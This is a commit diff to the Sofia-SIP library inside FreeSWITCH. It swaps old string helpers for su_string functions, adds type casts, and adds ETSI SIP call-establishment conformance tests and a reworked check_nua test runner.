   retval |= test_deinit(ag); fflush(stdout);
 
   su_home_deinit(ag->ag_home);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta_api.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta_api.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta_api.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -59,6 +59,7 @@
 #include <sofia-sip/msg_mclass.h>
 #include <sofia-sip/sofia_features.h>
 #include <sofia-sip/hostdomain.h>
+#include <sofia-sip/su_string.h>
 
 #include <stddef.h>
 #include <stdlib.h>
@@ -67,7 +68,6 @@
 #include <stdio.h>
 #include <assert.h>
 #include <time.h>
-#include "sofia-sip/string0.h"
 
 extern su_log_t nta_log[];
 extern su_log_t tport_log[];
@@ -489,7 +489,6 @@
   TEST_VOID(su_home_deinit(home));
 
   END();
-
 }
 
 
@@ -763,14 +762,14 @@
 
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url, TAG_END()) == 0);
   TEST_1(v = nta_agent_via(agent)); TEST_1(!v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_tcp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_tcp), 0);
   TEST_1(m = nta_agent_contact(agent));
   TEST_S(m->m_url->url_params, "transport=tcp");
 
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url,
 			     TPTAG_SERVER(0), TAG_END()) == 0);
   TEST_1(v = nta_agent_public_via(agent)); TEST_1(!v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_tcp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_tcp), 0);
   TEST_1(host_has_domain_invalid(v->v_host));
   TEST_1(m = nta_agent_contact(agent));
   TEST_S(m->m_url->url_params, "transport=tcp");
@@ -778,14 +777,14 @@
   url->url_params = "transport=udp";
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url, TAG_END()) == 0);
   TEST_1(v = nta_agent_via(agent)); TEST_1(v = v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_udp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_udp), 0);
 
   TEST_VOID(nta_agent_destroy(agent));
 
   TEST_1(agent = nta_agent_create(ag->ag_root, NONE, NULL, NULL, TAG_END()));
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url, TAG_END()) == 0);
   TEST_1(v = nta_agent_via(agent)); TEST_1(!v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_udp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_udp), 0);
   TEST_1(m = nta_agent_contact(agent));
   TEST_S(m->m_url->url_params, "transport=udp");
   TEST_VOID(nta_agent_destroy(agent));
@@ -795,9 +794,9 @@
   TEST_1(agent = nta_agent_create(ag->ag_root, NONE, NULL, NULL, TAG_END()));
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url, TAG_END()) == 0);
   TEST_1(v = nta_agent_via(agent));
-  TEST(strcasecmp(v->v_protocol, sip_transport_tcp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_tcp), 0);
   TEST_1(v = v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_udp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_udp), 0);
   TEST_1(m = nta_agent_contact(agent));
   TEST_1(!m->m_url->url_params);
   TEST_VOID(nta_agent_destroy(agent));
@@ -807,9 +806,9 @@
   TEST_1(agent = nta_agent_create(ag->ag_root, NONE, NULL, NULL, TAG_END()));
   TEST_1(nta_agent_add_tport(agent, (url_string_t *)url, TAG_END()) == 0);
   TEST_1(v = nta_agent_via(agent));
-  TEST(strcasecmp(v->v_protocol, sip_transport_udp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_udp), 0);
   TEST_1(v = v->v_next);
-  TEST(strcasecmp(v->v_protocol, sip_transport_tcp), 0);
+  TEST(!su_casematch(v->v_protocol, sip_transport_tcp), 0);
   TEST_1(m = nta_agent_contact(agent));
   TEST_1(!m->m_url->url_params);
   TEST_VOID(nta_agent_destroy(agent));
@@ -866,7 +865,7 @@
 
 
 /* Test that NULL host and/or port fields of user supplied Via header are
-   filled in automaticaly */
+   filled in automatically */
 int api_test_user_via_fillin(agent_t *ag)
 {
   su_home_t home[1];
@@ -879,7 +878,7 @@
   sip_via_t *via0, *via1;
   sip_via_t via[1];
   static char *via_params[] = { "param1=value1", "param2=value2" };
-  int i;
+  size_t i;
 
   BEGIN();
 
@@ -893,13 +892,13 @@
   			  NULL,
   			  NULL,
   			  TAG_END()));
-  TEST_1(leg = nta_leg_tcreate(nta, NULL, NULL, 
+  TEST_1(leg = nta_leg_tcreate(nta, NULL, NULL,
   			 NTATAG_NO_DIALOG(1),
   			 TAG_END()));
 
   /* This creates a delayed response message */
   orq0 = nta_outgoing_tcreate(leg, outgoing_callback, ag, NULL,
-  		       SIP_METHOD_MESSAGE, 
+  		       SIP_METHOD_MESSAGE,
   		       URL_STRING_MAKE("sip:foo.bar;transport=none"),
   		       SIPTAG_FROM_STR("<sip:bar.foo>"),
   		       SIPTAG_TO_STR("<sip:foo.bar>"),
@@ -912,35 +911,35 @@
   /* create user Via template to be filled in by NTA */
   sip_via_init(via);
   via->v_protocol = "*";
-  for (i = 0; i < sizeof(via_params)/sizeof(via_params[0]); i++)
-      sip_via_add_param(home,via,via_params[i]); /* add param to the template */
+  for (i = 0; i < sizeof(via_params) / sizeof(via_params[0]); i++)
+    sip_via_add_param(home, via, via_params[i]); /* add param to the template */
 
   /* This creates a delayed response message */
   orq1 = nta_outgoing_tcreate(leg, outgoing_callback, ag, NULL,
-  		       SIP_METHOD_MESSAGE, 
-  		       URL_STRING_MAKE("sip:foo.bar;transport=none"),
-  		       SIPTAG_FROM_STR("<sip:bar.foo>"),
-  		       SIPTAG_TO_STR("<sip:foo.bar>"),
-               NTATAG_USER_VIA(1),
-               SIPTAG_VIA(via),
-  		       TAG_END());
+			      SIP_METHOD_MESSAGE,
+			      URL_STRING_MAKE("sip:foo.bar;transport=none"),
+			      SIPTAG_FROM_STR("<sip:bar.foo>"),
+			      SIPTAG_TO_STR("<sip:foo.bar>"),
+			      NTATAG_USER_VIA(1),
+			      SIPTAG_VIA(via),
+			      TAG_END());
   TEST_1(orq1);
   TEST_1(msg1 = nta_outgoing_getrequest(orq1));
   TEST_1(sip1 = sip_object(msg1));
   TEST_1(via1 = sip1->sip_via);
 
   /* check that template has been filled correctly */
-  TEST_S(via0->v_protocol,via1->v_protocol);
-  TEST_S(via0->v_host,via1->v_host);
-  TEST_S(via0->v_port,via1->v_port);
+  TEST_S(via0->v_protocol, via1->v_protocol);
+  TEST_S(via0->v_host, via1->v_host);
+  TEST_S(via0->v_port, via1->v_port);
   /* check that the parameter has been preserved */
   for (i = 0; i < sizeof(via_params)/sizeof(via_params[0]); i++)
-    TEST_S(via1->v_params[i],via_params[i]);
+    TEST_S(via1->v_params[i], via_params[i]);
 
   TEST_VOID(nta_outgoing_destroy(orq0));
   TEST_VOID(nta_outgoing_destroy(orq1));
   TEST_VOID(nta_leg_destroy(leg));
-  TEST_VOID(nta_agent_destroy(nta)); 
+  TEST_VOID(nta_agent_destroy(nta));
 
   TEST_VOID(su_root_destroy(root));
   TEST_VOID(su_home_deinit(home));

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_client.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_client.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -46,7 +46,7 @@
 #include <assert.h>
 #include <errno.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 /** @internal SU message argument structure type */
 #define SU_MSG_ARG_T   union sm_arg_u
@@ -608,13 +608,13 @@
   if (!h || !url)
     return -1;
 
-  tpn->tpn_proto = url_tport_default(url->url_type);
+  tpn->tpn_proto = url_tport_default((enum url_type_e)url->url_type);
   tpn->tpn_canon = h->h_host;
   tpn->tpn_host = h->h_host;
   if (h->h_port)
     tpn->tpn_port = h->h_port;
   else
-    tpn->tpn_port = url_port_default(url->url_type);
+    tpn->tpn_port = url_port_default((enum url_type_e)url->url_type);
 
   return 0;
 }
@@ -753,7 +753,7 @@
 
   if (host &&
       (host_cmp(host->h_host, u->url_host) ||
-       str0cmp(host->h_port, u->url_port)))
+       su_strcmp(host->h_port, u->url_port)))
     host = NULL;
 
   if (host == NULL && u->url_host) {
@@ -777,7 +777,7 @@
     else if (rq && name && strcmp(name, rq->rq_method_name))
       rq = NULL;
 
-    if (rq && version && strcasecmp(version, rq->rq_version))
+    if (rq && version && !su_casematch(version, rq->rq_version))
       rq = NULL;
 
     if (!hc->hc_route_url) {
@@ -1189,7 +1189,7 @@
 
     if (streaming && !hc->hc_streaming) {
       /* Disable streaming for this msg */
-      msg_set_streaming(msg, 0);
+      msg_set_streaming(msg, (enum msg_streaming_status)0);
 
       return 0;			/* Wait for complete message */
     }
@@ -1204,7 +1204,7 @@
     shutdown = 2;
 
   if (!streaming || shutdown)
-    msg_set_streaming(msg, 0);
+    msg_set_streaming(msg, (enum msg_streaming_status)0);
 
   if (hc->hc_pending) {
     tport_release(hc->hc_tport, hc->hc_pending, hc->hc_request, msg, hc,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_server.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_server.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nth/nth_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,7 +32,7 @@
 
 #include "config.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su.h>
 
 typedef struct server_s server_t;
@@ -283,7 +283,7 @@
 
     if (parent->site_path) {
       /* subpath */
-      url_init(url0, parent->site_url->url_type);
+      url_init(url0, (enum url_type_e)parent->site_url->url_type);
       url0->url_path = s;
       address = (url_string_t*)url0;
     }
@@ -291,13 +291,13 @@
       /* absolute URL with scheme */;
     else if (s[sep] == '\0' && strchr(s, '.') && host_is_valid(s)) {
       /* looks like a domain name */;
-      url_init(url0, parent->site_url->url_type);
+      url_init(url0, (enum url_type_e)parent->site_url->url_type);
       url0->url_host = s;
       address = (url_string_t*)url0;
     }
     else {
       /* looks like a path */
-      url_init(url0, parent->site_url->url_type);
+      url_init(url0, (enum url_type_e)parent->site_url->url_type);
       url0->url_path = s;
       address = (url_string_t*)url0;
     }
@@ -592,7 +592,7 @@
 
   for (; (site = *list); list = &site->site_next) {
     if (host_cmp(host, site->site_url->url_host) == 0 &&
-	str0cmp(port, site->site_url->url_port) == 0) {
+	su_strcmp(port, site->site_url->url_port) == 0) {
       break;
     }
   }
@@ -726,7 +726,7 @@
     return NULL;
   }
 
-  tpn->tpn_proto = url_tport_default(url->url_type);
+  tpn->tpn_proto = url_tport_default((enum url_type_e)url->url_type);
   tpn->tpn_canon = url->url_host;
   tpn->tpn_host =  url->url_host;
   tpn->tpn_port = url_port(url);
@@ -829,7 +829,7 @@
 
   /* Disable streaming */
   if (msg_is_streaming(request)) {
-    msg_set_streaming(request, 0);
+    msg_set_streaming(request, (enum msg_streaming_status)0);
     return;
   }
 
@@ -901,7 +901,7 @@
       else {
 	tp_name_t const *tpn = tport_name(tport); assert(tpn);
 	loc->loc_url->url_host = tpn->tpn_canon;
-	if (strcmp(url_port_default(loc->loc_url->url_type), tpn->tpn_port))
+	if (strcmp(url_port_default((enum url_type_e)loc->loc_url->url_type), tpn->tpn_port))
 	  loc->loc_url->url_port = tpn->tpn_port;
       }
     }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,6 +30,8 @@
 			sofia-sip/nua.h sofia-sip/nua_tag.h
 
 libnua_la_SOURCES = 	nua.c nua_stack.h nua_common.c nua_stack.c \
+			nua_server.h nua_server.c \
+			nua_client.h nua_client.c \
 			nua_extension.c nua_types.h \
 			nua_dialog.c nua_dialog.h \
 			outbound.c outbound.h \
@@ -43,11 +45,14 @@
 
 COVERAGE_INPUT = 	$(libnua_la_SOURCES) $(include_sofia_HEADERS)
 
+# ----------------------------------------------------------------------
+
 check_nua_SOURCES = 	check_nua.c check_nua.h \
 			check_session.c check_register.c \
-			test_s2.h test_s2.c
+			check_etsi.c check_simple.c
 
-check_nua_LDADD = 	$(nua_libs) @CHECK_LIBS@
+check_nua_LDADD = 	$(nua_libs) ${top_builddir}/s2check/libs2.a \
+			@CHECK_LIBS@
 
 nua_libs = 		libnua.la  \
 			../iptsec/libiptsec.la \
@@ -76,6 +81,6 @@
 
 include $(top_srcdir)/rules/sofia.am
 
-INCLUDES = ${INTERNAL_INCLUDES}
+INCLUDES = ${INTERNAL_INCLUDES} -I$(top_srcdir)/s2check
 
 TAG_DLL_FLAGS =		LIST=nua_tag_list

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_etsi.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/check_etsi.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_etsi.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_etsi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,362 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_etsi.c
+ *
+ * @brief ETSI test cases
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ * @author Paulo Pizarro
+ *
+ * @copyright (C) 2008 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#undef NDEBUG
+
+#include "check_nua.h"
+
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/soa.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/su_tag_io.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+/* ====================================================================== */
+
+/* define XXX as 1 in order to see all failing test cases */
+#ifndef XXX
+#define XXX (0)
+#endif
+
+/* ====================================================================== */
+
+static nua_t *nua;
+static soa_session_t *soa = NULL;
+static struct dialog *d1 = NULL;
+static struct dialog *d2 = NULL;
+
+#define CRLF "\r\n"
+
+static void etsi_setup(void)
+{
+  nua = s2_nua_setup("ETSI",
+                     NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
+		     TAG_END());
+
+  soa = soa_create(NULL, s2base->root, NULL);
+
+  fail_if(!soa);
+
+  soa_set_params(soa,
+		 SOATAG_USER_SDP_STR("m=audio 5008 RTP/AVP 8 0" CRLF
+				     "m=video 5010 RTP/AVP 34" CRLF),
+		 TAG_END());
+
+  d1 = su_home_new(sizeof *d1); fail_if(!d1);
+  d2 = su_home_new(sizeof *d2); fail_if(!d2);
+}
+
+static void etsi_thread_setup(void)
+{
+  s2_nua_thread = 1;
+  etsi_setup();
+}
+
+static void etsi_threadless_setup(void)
+{
+  s2_nua_thread = 0;
+  etsi_setup();
+}
+
+static void etsi_teardown(void)
+{
+  s2_teardown_started("ETSI");
+
+  mark_point();
+
+  nua_shutdown(nua);
+  fail_unless_event(nua_r_shutdown, 200);
+
+  s2_nua_teardown();
+}
+
+static void save_sdp_to_soa(struct message *message)
+{
+  sip_payload_t *pl;
+  char const *body;
+  isize_t bodylen;
+
+  fail_if(!message);
+
+  fail_if(!message->sip->sip_content_length);
+  fail_if(!message->sip->sip_content_type);
+  fail_if(strcmp(message->sip->sip_content_type->c_type,
+		 "application/sdp"));
+
+  fail_if(!message->sip->sip_payload);
+  pl = message->sip->sip_payload;
+  body = pl->pl_data, bodylen = pl->pl_len;
+
+  fail_if(soa_set_remote_sdp(soa, NULL, body, (issize_t)bodylen) < 0);
+}
+
+static void process_offer(struct message *message)
+{
+  save_sdp_to_soa(message);
+  fail_if(soa_generate_answer(soa, NULL) < 0);
+}
+
+static void
+respond_with_sdp(struct message *request,
+		 struct dialog *dialog,
+		 int status, char const *phrase,
+		 tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+
+  char const *body;
+  isize_t bodylen;
+
+  fail_if(soa_get_local_sdp(soa, NULL, &body, &bodylen) != 1);
+
+  ta_start(ta, tag, value);
+  s2_sip_respond_to(request, dialog, status, phrase,
+		SIPTAG_CONTENT_TYPE_STR("application/sdp"),
+		SIPTAG_PAYLOAD_STR(body),
+		SIPTAG_CONTENT_DISPOSITION_STR("session"),
+		ta_tags(ta));
+  ta_end(ta);
+}
+
+static struct message *
+invite_sent_by_nua(nua_handle_t *nh,
+                   tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  ta_start(ta, tag, value);
+  nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
+             ta_tags(ta));
+  ta_end(ta);
+
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+
+  return s2_sip_wait_for_request(SIP_METHOD_INVITE);
+}
+
+static void
+bye_by_nua(struct dialog *dialog, nua_handle_t *nh,
+	   tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  struct message *bye;
+
+  ta_start(ta, tag, value);
+  nua_bye(nh, ta_tags(ta));
+  ta_end(ta);
+
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
+  fail_if(!bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
+  fail_unless(s2_check_callstate(nua_callstate_terminated));
+}
+
+/* ====================================================================== */
+/* 6 - ETSI cases */
+
+/* 6.1 Call Control - Originating Endpoint - Call Establishment */
+
+START_TEST(SIP_CC_OE_CE_V_019)
+{
+  nua_handle_t *nh;
+  struct message *invite;
+  struct message *bye;
+
+  S2_CASE("6.1.1", "SIP_CC_OE_CE_V_019",
+          "Ensure that the IUT when an INVITE client transaction "
+          "is in the Calling state, on receipt of Success (200 OK) "
+          "responses differing only on the tag in the To header, "
+          "sends an ACK request with a To header identical to the "
+          "received one for each received Success (200 OK) responses.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  invite = invite_sent_by_nua(nh, TAG_END());
+
+  process_offer(invite);
+
+  respond_with_sdp(invite, d1, SIP_200_OK, TAG_END());
+
+  fail_unless_event(nua_r_invite, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  respond_with_sdp(invite, d2, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
+  fail_if(!bye);
+  s2_sip_respond_to(bye, d2, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+
+  bye_by_nua(d1, nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(SIP_CC_OE_CE_TI_008)
+{
+  nua_handle_t *nh;
+  struct message *invite;
+
+  S2_CASE("6.1.2", "SIP_CC_OE_CE_TI_008",
+          "If an unreliable transport is used, ensure that "
+          "the IUT, when an INVITE client transaction is in "
+          "the Completed state, on receipt of final responses "
+          "that matches the transaction, still answer with an "
+          "ACK request until timer D set to at least 32 second expires.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  invite = invite_sent_by_nua(nh, TAG_END());
+
+  s2_sip_respond_to(invite, d1, 404, "First not found", TAG_END());
+  fail_unless_event(nua_r_invite, 404);
+  fail_unless(s2_check_callstate(nua_callstate_terminated));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(5, s2base->root);
+
+  s2_sip_respond_to(invite, d1, 404, "Not found after 5 seconds", TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(5, s2base->root);
+
+  s2_sip_respond_to(invite, d1, 404, "Not found after 10 seconds", TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(21, s2base->root);
+
+  s2_sip_respond_to(invite, d1, 404, "Not found after 31 seconds", TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(5, s2base->root);
+
+  /* Wake up nua thread and let it time out INVITE transaction */
+  nua_set_params(s2->nua, TAG_END());
+  fail_unless_event(nua_r_set_params, 0);
+
+  s2_sip_respond_to(invite, d1, 404, "Not found after 32 seconds", TAG_END());
+  s2_sip_free_message(invite);
+  fail_if(s2_sip_check_request_timeout(SIP_METHOD_ACK, 3));
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(SIP_CC_OE_CE_TI_011_012)
+{
+  nua_handle_t *nh;
+  struct message *invite;
+
+  S2_CASE("6.1.2", "SIP_CC_OE_CE_TI_011_012",
+          "Ensure that the IUT, when an INVITE client transaction "
+          "has been in the Terminated state, on receipt of a "
+          "retransmitted Success (200 OK) responses sends an ACK "
+          "request until 64*T1 duration expires, after this, "
+          "on receipt of a retransmitted Success (200 OK) "
+          "responses does not send an ACK request.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  invite = invite_sent_by_nua(nh, TAG_END());
+
+  process_offer(invite);
+
+  respond_with_sdp(invite, d1, SIP_200_OK, TAG_END());
+
+  fail_unless_event(nua_r_invite, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(5, s2base->root);
+  respond_with_sdp(invite, d1, SIP_200_OK, TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(5, s2base->root);
+  respond_with_sdp(invite, d1, SIP_200_OK, TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  s2_nua_fast_forward(20, s2base->root);
+  respond_with_sdp(invite, d1, SIP_200_OK, TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  /* Stack times out the INVITE transaction */
+  s2_nua_fast_forward(5, s2base->root);
+
+  respond_with_sdp(invite, d1, SIP_200_OK,
+		   SIPTAG_SUBJECT_STR("Stray 200 OK"),
+		   TAG_END());
+  s2_sip_free_message(invite);
+  mark_point();
+  fail_if(s2_sip_check_request_timeout(SIP_METHOD_ACK, 3));
+
+  bye_by_nua(d1, nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+TCase *sip_cc_oe_ce_tcase(int threading)
+{
+  TCase *tc = tcase_create("6.1 - ETSI CC OE - Call Establishment");
+
+  void (*setup)(void) = threading ? etsi_thread_setup : etsi_threadless_setup;
+
+  tcase_add_checked_fixture(tc, setup, etsi_teardown);
+  {
+    tcase_add_test(tc, SIP_CC_OE_CE_V_019);
+    tcase_add_test(tc, SIP_CC_OE_CE_TI_008);
+    tcase_add_test(tc, SIP_CC_OE_CE_TI_011_012);
+  }
+  return tc;
+}
+
+/* ====================================================================== */
+
+void check_etsi_cases(Suite *suite, int threading)
+{
+  suite_add_tcase(suite, sip_cc_oe_ce_tcase(threading));
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  *
  */
 
-/**@CFILE check2_sofia.c
+/**@CFILE check_nua.c
  *
  * @brief Check-driven tester for Sofia SIP User Agent library
  *
@@ -33,88 +33,489 @@
 
 #include "config.h"
 
+#undef NDEBUG
+
 #include "check_nua.h"
+#include "s2dns.h"
 
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/msg_addr.h>
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/sresolv.h>
+
 #include <stdlib.h>
 #include <string.h>
 #include <stdio.h>
+#include <assert.h>
+#include <limits.h>
+#include <time.h>
 
-#if HAVE_FNMATCH_H
-#include <fnmatch.h>
-#endif
+static void usage(int exitcode)
+{
+  fprintf(exitcode ? stderr : stdout,
+	  "usage: %s [--xml=logfile] case,...\n", s2_tester);
+  exit(exitcode);
+}
 
-static char const * const default_patterns[] = { "*", NULL };
-static char const * const *test_patterns = default_patterns;
+int main(int argc, char *argv[])
+{
+  int i, failed = 0, selected = 0;
+  int threading, single_thread, multi_thread;
+  char const *xml = NULL;
+  Suite *suite = suite_create("Unit tests for Sofia-SIP UA Engine");
+  SRunner *runner;
 
-void check_nua_tcase_add_test(TCase *tc, TFun tf, char const *name)
+  s2_tester = "check_nua";
+
+  s2_suite("N2");
+
+  if (getenv("CHECK_NUA_VERBOSE"))
+    s2_start_stop = strtoul(getenv("CHECK_NUA_VERBOSE"), NULL, 10);
+
+  for (i = 1; argv[i]; i++) {
+    if (su_strnmatch(argv[i], "--xml=", strlen("--xml="))) {
+      xml = argv[i] + strlen("--xml=");
+    }
+    else if (su_strmatch(argv[i], "--xml")) {
+      if (!(xml = argv[++i]))
+	usage(2);
+    }
+    else if (su_strmatch(argv[i], "-v")) {
+      s2_start_stop = 1;
+    }
+    else if (su_strmatch(argv[i], "-?") ||
+	     su_strmatch(argv[i], "-h") ||
+	     su_strmatch(argv[i], "--help"))
+      usage(0);
+    else {
+      s2_select_tests(argv[i]);
+      selected = 1;
+    }
+  }
+
+  if (!selected)
+    s2_select_tests(getenv("CHECK_NUA_CASES"));
+
+  if (getenv("CHECK_NUA_THREADING")) {
+    single_thread = strcmp(getenv("CHECK_NUA_THREADING"), "no");
+    multi_thread = !single_thread;
+  }
+  else {
+    single_thread = multi_thread = 1;
+  }
+
+  if (single_thread) {
+    check_register_cases(suite, threading = 0);
+    check_simple_cases(suite, threading = 0);
+    check_session_cases(suite, threading = 0);
+    check_etsi_cases(suite, threading = 0);
+  }
+
+  if (multi_thread) {
+    check_register_cases(suite, threading = 1);
+    check_session_cases(suite, threading = 1);
+    check_etsi_cases(suite, threading = 1);
+    check_simple_cases(suite, threading = 1);
+  }
+
+  runner = srunner_create(suite);
+
+  if (xml)
+    srunner_set_xml(runner, argv[1]);
+
+  srunner_run_all(runner, CK_ENV);
+  failed = srunner_ntests_failed(runner);
+  srunner_free(runner);
+
+  exit(failed ? EXIT_FAILURE : EXIT_SUCCESS);
+}
+
+/* ---------------------------------------------------------------------- */
+
+/* -- Globals -------------------------------------------------------------- */
+
+struct s2nua *s2;
+
+int s2_nua_thread = 0;
+
+unsigned s2_default_registration_duration = 3600;
+
+char const s2_auth_digest_str[] =
+  "Digest realm=\"s2test\", "
+  "nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
+  "qop=\"auth\", "
+  "algorithm=\"MD5\"";
+
+char const s2_auth_credentials[] = "Digest:\"s2test\":abc:abc";
+
+char const s2_auth2_digest_str[] =
+  "Digest realm=\"s2test2\", "
+  "nonce=\"fb0c093dcd98b7102dd2f0e8b11d0f600b\", "
+  "qop=\"auth\", "
+  "algorithm=\"MD5\"";
+
+char const s2_auth2_credentials[] = "Digest:\"s2test2\":abc:abc";
+
+char const s2_auth3_digest_str[] =
+  "Digest realm=\"s2test3\", "
+  "nonce=\"e8b11d0f600bfb0c093dcd98b7102dd2f0\", "
+  "qop=\"auth-int\", "
+  "algorithm=\"MD5-sess\"";
+
+char const s2_auth3_credentials[] = "Digest:\"s2test3\":abc:abc";
+
+/* -- NUA events -------------------------------------------------------- */
+
+struct event *s2_remove_event(struct event *e)
 {
-  char const * const *patterns;
+  if ((*e->prev = e->next))
+    e->next->prev = e->prev;
 
-#if HAVE_FNMATCH_H
-  for (patterns = test_patterns; *patterns; patterns++) {
-    if (!fnmatch(*patterns, name, 0)) {
-      if (strcmp(*patterns, "*")) {
-	printf("%s: running\n", name);
-      }
-      _tcase_add_test(tc, tf, name, 0, 0, 1);
-      return;
